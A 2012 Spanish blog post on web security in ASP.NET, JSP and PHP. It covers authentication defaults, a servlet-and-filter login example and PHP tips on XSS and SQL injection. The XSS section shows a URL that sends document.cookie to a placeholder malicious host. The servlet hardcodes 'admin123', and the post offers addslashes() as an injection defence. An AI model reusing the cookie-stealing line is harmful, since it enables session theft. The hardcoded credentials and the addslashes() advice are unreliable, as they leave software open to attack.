domingo, 10 de junio de 2012

Seguridad WEB (2da Continuacion)


Seguridad de ASP.NET

ASP.Net es la evolución de ASP donde se cuenta con una mayor estructura con respecto a sus sentencias y metodología de implementación.

Hablaremos de ASP.Net debido a que es la tecnología ASP que actualmente se encuentra en uso.

La seguridad es un aspecto muy importante de las aplicaciones web ASP.NET. Los temas de esta sección proporcionan información adicional sobre los problemas de seguridad que se producen en las aplicaciones web. Se incluye información sobre cómo mitigar las amenazas de seguridad habituales, cómo proteger los recursos en una aplicación web, y cómo autenticar y autorizar a los usuarios individuales.

ASP.NET, conjuntamente con Microsoft Internet Information Services (IIS), puede autenticar las credenciales del usuario como nombres y contraseñas mediante los métodos de autenticación siguientes:

·         Windows: básica, implícita, y Autenticación de Windows integrada (NTLM o Kerberos).

·         Autenticación mediante formularios, con la que crea una página de inicio de sesión y se administra la autenticación en la aplicación.

·         Autenticación mediante certificados de cliente



ASP.NET controla el acceso a la información de los sitios comparando las credenciales autenticadas, o representaciones de las mismas, con los permisos del sistema de archivos de Microsoft Windows NT o con un archivo XML que contiene la lista de usuarios autorizados, funciones autorizadas (grupos) o verbos HTTP autorizados.



FUNCIONAMIENTO DE LA SEGURIDAD EN ASP.NET

La seguridad de los sitios Web es una cuestión de importancia fundamental, además de compleja, para los desarrolladores de sitios Web.  La protección de un sitio requiere la elaboración cuidadosa de un plan; por consiguiente, los programadores y administradores de sitios Web deben comprender perfectamente las opciones para proteger los sitios.

ASP.NET funciona junto con Microsoft .NET Framework e Internet Information Services (IIS) para ayudar a proporcionar aplicaciones Web seguras. Para ayudar a proteger la seguridad de una aplicación ASP.NET, se deben llevar a cabo las dos funciones principales que se describen en la siguiente tabla.

Función de seguridad
Descripción
Ayuda a comprobar que el usuario es precisamente quien dice ser. La aplicación obtiene las credenciales (diversas formas de identificación, como nombre y contraseña) de un usuario, y las valida consultando a una autoridad determinada. Si las credenciales son válidas, se considera a la entidad que ha enviado las credenciales como una entidad autenticada.
Limita los derechos de acceso mediante la concesión o negación de permisos específicos a una identidad autenticada.

Además, Internet Information Services (IIS) puede conceder o negar el acceso en función de la dirección IP o del nombre de host del usuario. Cualquier autorización de acceso posterior se realiza mediante la autorización de la dirección URL del permiso de acceso al sistema de archivos NTFS.

Es importante entender cómo interactúan todos los diversos subsistemas de seguridad. Puesto que ASP.NET se basa en Microsoft .NET Framework, el desarrollador de aplicaciones ASP.NET también tiene acceso a todas las características de seguridad integradas de .NET Framework, como la seguridad de acceso a código y la seguridad de acceso basada en funciones. Para obtener información detallada sobre las funciones de seguridad de ASP.NET.

Arquitectura de seguridad en ASP.NET




Como se muestra en la ilustración, todos los clientes Web se comunican con las aplicaciones ASP.NET a través de Microsoft Internet Information Services (IIS).IIS autentica la solicitud si fuera necesario y, a continuación, busca el recurso solicitado (como una aplicación ASP.NET).Si el cliente está autorizado, el recurso estará disponible.

Cuando se está ejecutando una aplicación ASP.NET, puede utilizar las características de seguridad de ASP.NET integradas. Además, una aplicación ASP.NET puede utilizar las características de seguridad de .NET Framework. Para obtener más información,

Para un manejo de seguridad mejor:




·         Autenticación de ASP.NET

·         Autorización de ASP.NET

·         Suplantación de ASP.NET



Los valores predeterminados de estos elementos se incluyen en la tabla siguiente.

Valor predeterminado
Descripción
< allow roles="" />
Una cadena vacía que indica que se permiten todas las funciones de forma predeterminada.
< allow users="*" />
Una cadena vacía que indica que todos los usuarios tienen acceso (no se requiere ninguna autenticación).
< allow verbs="" />
Una cadena vacía que indica que no se asignan verbos de forma predeterminada.
< authentication mode="Windows" />
El tipo de autenticación que determina el origen del valor
< credentials passwordFormat="SHA1" />
El algoritmo hash que se utiliza en las contraseñas.El valor predeterminado es SHA1.
< deny roles="" />
Una cadena vacía que indica que no se deniega ninguna función de forma predeterminada.
< deny users="" />
Una cadena vacía que indica que no se deniega ningún usuario de forma predeterminada.
< deny verbs="" />
Una cadena vacía que indica que no se asignan verbos de forma predeterminada.
< forms cookieless="UseDeviceProfile" />
Método que se usa para almacenar el vale de autenticación de formularios en el cliente.Los valores válidos son UseCookies, UseUri, AutoDetect, UseDeviceProfile (predeterminado).
< forms defaultUrl="default.aspx" />
Cadena que indica la dirección URL de la página a la que se redirecciona después del inicio de sesión.
< forms domain="" />
Cadena vacía que indica que no se ha especificado ningún dominio para la cookie.
< forms loginUrl="logon.aspx" />
Dirección URL a la que se dirige la solicitud si establece la autenticación mode como Forms y si la solicitud no tiene un vale de autenticación válido.
< forms name=".ASPXAUTH" />
El nombre bajo el que la cookie de autenticación de formularios se almacena en el equipo del usuario.
< forms path="/" />
La ruta de acceso a la que se aplica la autenticación de formularios.El valor predeterminado es todas las rutas de acceso desde la raíz de la aplicación hacia abajo.
< forms protection="All" />
La seguridad que se ha aplicado al vale de autenticación de formularios.Los valores incluyen All, None, Encryption y Validation.
< forms timeout="30" />
El tiempo de espera en minutos antes de que el vale de autenticación de formularios expire y los usuarios tengan que volver a autenticarse.
< forms requireSSL="false" />
Un valor booleano que indica si se requiere una conexión SSL para transmitir la cookie de autenticación.
< forms slidingExpiration="true" />
Un valor booleano que indica si está habilitado el plazo de expiración.Para obtener más información, vea la propiedad SlidingExpiration.
< identity impersonate="false" />
Un valor booleano que indica si la suplantación está deshabilitada.Para obtener más información, vea Suplantación de ASP.NET.
< identity userName="" />
Una cadena vacía que indica que no se especifica ninguna identidad de usuario de forma predeterminada.
< identity password="" />
Una cadena vacía que indica que no se especifica ninguna contraseña para la identidad de usuario de forma predeterminada.
< trust level="Full" originUrl="" />
La directiva de seguridad que se aplicará a la aplicación.
< trustLevel name="Full" policyFile="internal"/>
El archivo de directivas predeterminado para el nivel de confianza Full.
< trustLevel name="High" policyFile="web_hightrust.config"/>
El archivo de directivas predeterminado para el nivel de confianza High.
< trustLevel name="Medium" policyFile="web_mediumtrust.config"/>
El archivo de directivas predeterminado para el nivel de confianza Medium.
< trustLevel name="Low" policyFile="web_lowtrust.config"/>
El archivo de directivas predeterminado para el nivel de confianza Low.
< trustLevel name="Minimal" policyFile="web_minimaltrust.config"/>
El archivo de directivas predeterminado para el nivel de confianza Minimal.






SEGURIDAD EN JSP
Un esquema de seguridad en J2EE puede ser implementado utilizando JAAS, sin embargo existen varias alternativas que nos permiten controlar que un usuario se encuentre en sesión uno de ellos es a través de filtros en la aplicación Web. Esta alternativa puede ser implementada de manera sencilla y rápida y puede convertirse en un elemento bastante seguro para cualquier aplicación.
En esté ejemplo utilizaremos el jsp para el formulario de captura, un servlet que se encargará de firmar al usuario y subirlo a sesión y por último un filtro que monitoree los accesos a los URLs de la aplicación

El servlet
Un Servlet nos permite procesar la autenticación de usuarios utilizando una clase de Java. En el caso de esté ejemplo de seguridad se implementará un servlet que autentique al usuario y lo registre en sesión para que el filtro detecte si el usuario se encuentra firmado o no.
//El mapping
 <servlet>
  <description>Firma al usuario en la aplicación </description>
  <display-name>FirmarServlet</display-name>
  <servlet-name>FirmarServlet</servlet-name>
  <servlet-class>seguridad.FirmarServlet</servlet-class>
</servlet>
<servlet-mapping>
  <servlet-name>FirmarServlet</servlet-name>
  <url-pattern>/firmar</url-pattern>
</servlet-mapping>



//La clase
 **
 * Servlet implementation class for Servlet: FirmarServlet
 *
 */
 public class FirmarServlet extends javax.servlet.http.HttpServlet
                        implements javax.servlet.Servlet {
           
            /** The serial UID */
            private static final long serialVersionUID = 1L;

            /*
             * (non-Java-doc)
             *
             * @see javax.servlet.http.HttpServlet#doGet(
             *                     HttpServletRequest request,
             *      HttpServletResponse response)
             */
            protected void doGet(HttpServletRequest request,
                                   HttpServletResponse response)
                                   throws ServletException, IOException {
                        //Valida de una forma sencilla el usuario y contraseña
                        if (request.getParameter("usuario").equals("admin")  &&
                                               request.getParameter("password").equals("admin123")  ) {
                                   //Obtiene la sesión utilizando el request
                                   HttpSession session = request.getSession();
                                   //Agrega el nombre de usuario a sesión para validar que
                                   //el usuario se haya firmado
                                   session.setAttribute("usuario", request.getParameter("usuario"));
                                   //Redireccionamiento a la pagina principal de la aplicación
                                   RequestDispatcher dispatcher = getServletContext()
                                               .getRequestDispatcher("/master.jsp?url=/sca/inicio.jsp");
                                   dispatcher.forward(request, response);
                        } else {
                                   //Redireccionamiento a la página de login
                                   RequestDispatcher dispatcher = getServletContext()
                                               .getRequestDispatcher("/seguridad/login.jsp");
                                   dispatcher.forward(request, response);
                        }
                       
            }          
           
            /*
             * (non-Java-doc)
             *
             * @see javax.servlet.http.HttpServlet#doPost(
             *                     HttpServletRequest request,
             *      HttpServletResponse response)
             */
            protected void doPost(
                                   HttpServletRequest request,
                                   HttpServletResponse response)
                                   throws ServletException, IOException {
                        //Invoca el doGet para que si el servlet tiene peticiones por
                        //GET o POST responda de igual manera
                        doGet(request,response);
            }      
}

Uso de filtros
Un Filtro de J2EE es ejectutado por el contenedor siempre que el usuario intenta ingresar una URL que cumpla con un patron descrito en el archivo web.xml. La forma de describir un filto es la siguiente:
 <filter>
  <filter-name>SessionFilter</filter-name>
  <filter-class>pragma.controlador.filter.seguridad.SesionFilter</filter-class>
</filter>
<filter-mapping>
  <filter-name>SessionFilter</filter-name>
  <url-pattern>/principal/*</url-pattern>
</filter-mapping>

La clase del filtro

Sin embargo como podemos apreciar los tags de xml anteriores nos indican que debe existir una clase que tenga el funcionamiento del filtro. Esta clase debe implementar la interfaz
 /**
 * Implementacion de un <strong>Filter </strong> que se encarga de comprobar que
 * el usuario este en sesion. Si el usuario no esta en sesion el filtro lo
 * regresará a la página de login
 *
 * @author Gil
 */
public class SesionFilter implements Filter {
           
            public static final String LOGIN_PATH = "/seguridad/firmar.jsp";

            /**
             * Inicializando el filtro
             */
            public void init(FilterConfig filterConfig) throws ServletException {}

            /**
             * Ejecuta el filtro
             */        
            public void doFilter(
                                   ServletRequest request,
                                   ServletResponse response,
                                   FilterChain chain)          throws IOException, ServletException {

                        //Obtenemos un objeto request de http, para poder acceder a la ruta
                        //del contexto
                        HttpServletRequest httpRequest = (HttpServletRequest) request;                     
                        //Obtenemos la sessión con la cual validaremos al usuario;
                        HttpSession sesion = httpRequest.getSession();
                       
                        //Obtenemos el string con el nombre de usuario que se encuentra en
                        //sessión utilizando la constante SesionConstantes.USUARIO ="usuario"
                        String usuario = (String) sesion.getAttribute(SesionConstantes.USUARIO);

                        //Validamos que el usuario no sea nulo, ya que si es nulo quiere decir
                        //que no se ha firmado aun o que tu tiempo de sesión expiró
                        if (usuario == null) {
                                                                                                         
                                   //Redirecciona a la pagina de inicio
                                   RequestDispatcher rd = httpRequest.getRequestDispatcher((LOGIN_PATH);
                                   //método que redirecciona
                                   rd.forward(request, response);
                        //Si el usuario existe el filtro termina y sede el paso, por si exisite
                        //un filtro adicional o simplemente continua con el flujo normal.
                        } else {
                                   chain.doFilter(request, response);
                        }
            }

            /**
             * Liberar recursos
             */
            public void destroy() {   }

}

Clases auxiliares
/**
 * Contiene el nombre de las constantes de mas uso en session
 * @author Gil
 */
public class SesionConstantes {

  /** Usuario p Login que se encuentra en session    */
  public static final String USUARIO = "usuario";
   
  /** Nombre completo del usuario que se encuentra firmado   */
  public static final String NOMBRE_USUARIO = "nombreUsuario";
               
  /**  Nombre del campo para id usuario   */
  public static final String ID_USUARIO = "idUsuario";

  /**
   * Cancelamos el constructor para que no se creen instancias de la clase
   */
  private SesionConstantes() {
      super();
  }
}


SEGURIDAD EN PHP
PHP es una lengua muy fácil a aprender, y muchos programadores lo aprenden como manera de agregar interactividad a sus Sitio Web.
Desafortunadamente, eso significa a menudo los programadores de PHP, especialmente ésos más nuevos al desarrollo web, cometen ciertos riesgos de seguridad y desaprovechan el potencial que sus usos pueden contener. Aquí están algunos de los problemas mas comunes de seguridad y cómo evitarlos.
Regla número uno: Nunca, confiar en los usuarios
Por todo esto la regla de todo desarrollador web tiene que ser "Nunca, confiar en los usuarios" . Asumir que cada pieza de datos que tu sitio recoge de un usuario puede convertirse en un agujero de seguridad, siempre. Si la seguridad de tu sitio web es importante para ti, este un buen puntopara comenzar a aprender. Sería conveniente tener una hoja de seguridad para PHP al lado de tu escritorio con los puntos mas importantes en texto negrita grande.
 Variables globales
En muchas lenguajes debes crear explícitamente un variable para utilizarlas. En PHP, hay una opción, las register_globals, que puedes fijar en php.ini y que permite que utilices variables globales.

Considera el código siguiente:
if ($password == "my_password") {
$authorized = 1;
}
if ($authorized == 1) {
echo "Mis cosas importantes ";
}
A muchos les puede parecer que este código esta funcionando perfectamente. ¿Sin embargo, si un servidor tiene register_globals encendidos, entonces simplemente agregando? authorized=1 " al URL dará a cualquier persona el acceso libre a exactamentelo que no quisieras que todo el mundo viera. Éste es uno de los problemas mas comunes de la seguridad de PHP.
Afortunadamente, esto tiene un par de soluciones simples y posibles. La primera, y quizás la mejor, es fijar desactivar register_globals. La segunda es asegurarse de que utilizas solamente las variables que has fijado explícitamente tú mismo. En el ejemplo anterior, eso significaría la adición $authorized = 0; al principio de la escritura:

$authorized = 0;
if ($password == "my_password") {
$authorized = 1;
}
if ($authorized == 1) {
echo "Lots of important stuff.";
}

Mensajes de error
Los mensajes de error son una herramienta muy útil para los programadores y hackers. Un desarrollador los necesita para detectar bugs. Un hacker puede utilizarlos para descubrir todas las clases de información sobre un sitio, desde la estructura del directorio del servidor a la información de la conexión de la base de datos.En PHP para evitar esto puedes utilizar .htaccess o php.ini, fijando error_reporting a 0.
En cuanto a la seguridad, Eso es un tema muy complejo, hay directivas sencillas a seguir para evitar los ataques mas comunes, pero nunca, jamas podrás tener un sitio completamente seguro salvo que sea una pagina html plana y no permitas interactuar a los usuarios mas que haciendo clic en los enlaces, y aun esto no es 100% seguro
Las directivas de seguridad pero te recomiendo buscar por internet tutoriales mas completos o comprarte algún libro sobre el tema.
1 ) evitar Buffer Overflow (desbordamiento de buffer):
El buffer overflow se produce cuando los datos enviados son mayores que la memoria disponible, por lo que se sobrescriben zonas de la memoria que en principio estaban destinadas a otras tareas que no son las de almacenar datos. Un hacker hábil puede llegar a ejecutar programas propios mediante esta técnica.
Se suele decir que PHP es "invulnerable " al Buffer Overflow aunque es una creencia errónea y una mala practica de programación por dos motivos
1º para ser invulnerable a este tipo de ataques habría que tener memoria ilimitada (infinita) y que yo sepa, no existe ese tipo de sistema.
 2º que la versión actual de php tenga una implementación que dificulta mucho (que lo hace) el uso de esta técnica, no significa que en actualizaciones posteriores, se pueda cometer un error e introducir un bug que permita esta técnica;  por lo tanto hay que tenerlo en cuenta.
Evitar el Desbordamiento de buffer o Buffer overflow es bastante sencillo solo debes comprobar los tamaños de los datos que recuperas de los usuarios, mediante el uso de strlen();
Ej, Un nombre de usuario no va a superar los 50 caracteres por lo tanto es razonable limitar a 50 y no permitir valores superiores.
2) Evitar el Cross-Site Scripting( XSS)
A medida que se aumenta la interactividad del usuario con disminuye la protección XSS algo tan simple como permitir que el usuario introduzca enlaces ó imágenes hace que la protección sea casi nula en nuestro sitio
1º si no vas a permitir HTML por parte de los usuarios , usa la función htmlentities()
 http://php.net/manual /es/function.htmlentities.php
En muchos lugares no se distingue entre ésta y htmlspecialchars() pero la realidad es que htmlentities filtra algunos caracteres que htmlspecialchars() no , asi que yo te recomiendo la primera (tal vez alguien tiene una razón mejor por la que no )
2º si vas a permitir enlaces, usa la función parse_url()
esta función descompone las url en partes y podrás comprobar ciertas cosas como por ejemplo limitar el protocolo a http:// y eliminar los protocolos javascript: , telnet: ... ademas podrás comprobar el host y otros elementos que pueden darte pistas de direcciones malintencionadas.
3º si vas a permitir el uso de imágenes ten en cuenta que el atributo src de la etiqueta img y el atributo background acceden a una dirección url para recuperar la imagen por lo que si el valor es
http://www.example.com/imagen.jpg, no hay problema (En principio, ya que hay otros "peligros " ). Pero la dirección puede ser 'http://www.malicioso.com/script.php?info='.document.cookie y solo por el mero hecho de cargar la pagina, el usuario estaría enviado sus cookies a un script externo. Esto es imposible de prevenir al 100% (como todo en seguridad) pero puedes impedir ciertos elementos de la url en src utilizando expresiones regulares o bien limitando el host a sitios determinados.
4º si vas a permitir html documéntate y utiliza proyectos de código abierto que ya se encargan de esto como HTMLPurifier http://htmlpurifier.org/
3) Evitar el sql inyection
para evitar la inyeccion sql se emplean , básicamente, las funciones addslashes() y stripslashes() para filtrar la entrada y salida de códigos de la BD, aun así , se filtraría solo el código sql pero no se impediría que se almacenase código de script en la base de datos o se intentase desbordar el buffer por lo que es imprescindible combinarlo con las técnicas de prevención anteriores.
4) Evitar el mail inyection
En este mismo foro hay un post muy bueno que explica como evitar la inyección de cabeceras mail para el envío de spam masivo.

Conclusiónes:

La validación de sessión utilizando filtros es una alternativa al JAAS muy potente debido a que podemos agregar los filtros que nosotros deseemos y aplicar políticas diferentes a cada una de las secciones de la aplicación. Además al utilizar filtros no tenemos problemas en la instalación de nuestra aplicación al utilizar servidores de aplicaciones diferentes.
La Seguridad en cuanto a Asp refiere es sumamente copmpleja pero altamente soportada por Microsoft... esto implica que todo en cuanto a ASP refiere es de paga.
Javascript se sale de la lista ya que no tiene las mismas opciones que los otros dos...es decir que se procesa en la computadora del usuario y por tanto consume recursos (hablo cuando se le usa mucho), y lo que se debe hacer es una pagina accesible en poco tiempo para que el visitante no se aburra. Recomiendo que se procese en un servidor.

Si vemos a ASP y PHP, pues les recomendaria PHP ya que resulta mucho mas "Seguro", tiene mayor compatibilidad y ademas es Open Source, ya que los programas de Microsoft la mayoria de veces no tienen mucha compatibilidad para otras aplicaciones y ademas son muy costosos.

Fuera de estos aspectos ASP y PHP se podria decir que son casi iguales ya que los dos ofrecen las mismas caracteristicas y si te propones a hacer un programa complicadisimo en ASP, tenlo por seguro que podras hacer que funcione de la misma manera en PHP y VICEVERSA.
Aunque PHP sea una tecnologia en crecimiento, en cuanto a seguridad refiere, necesita de la implementacion de otras tecnologias como XLSS para su mejor rendimiento, cuando en JSP y ASP.Net se cuenta con aplicaciones directas en cuanto a la induccion de seguridad.



No hay comentarios:

Publicar un comentario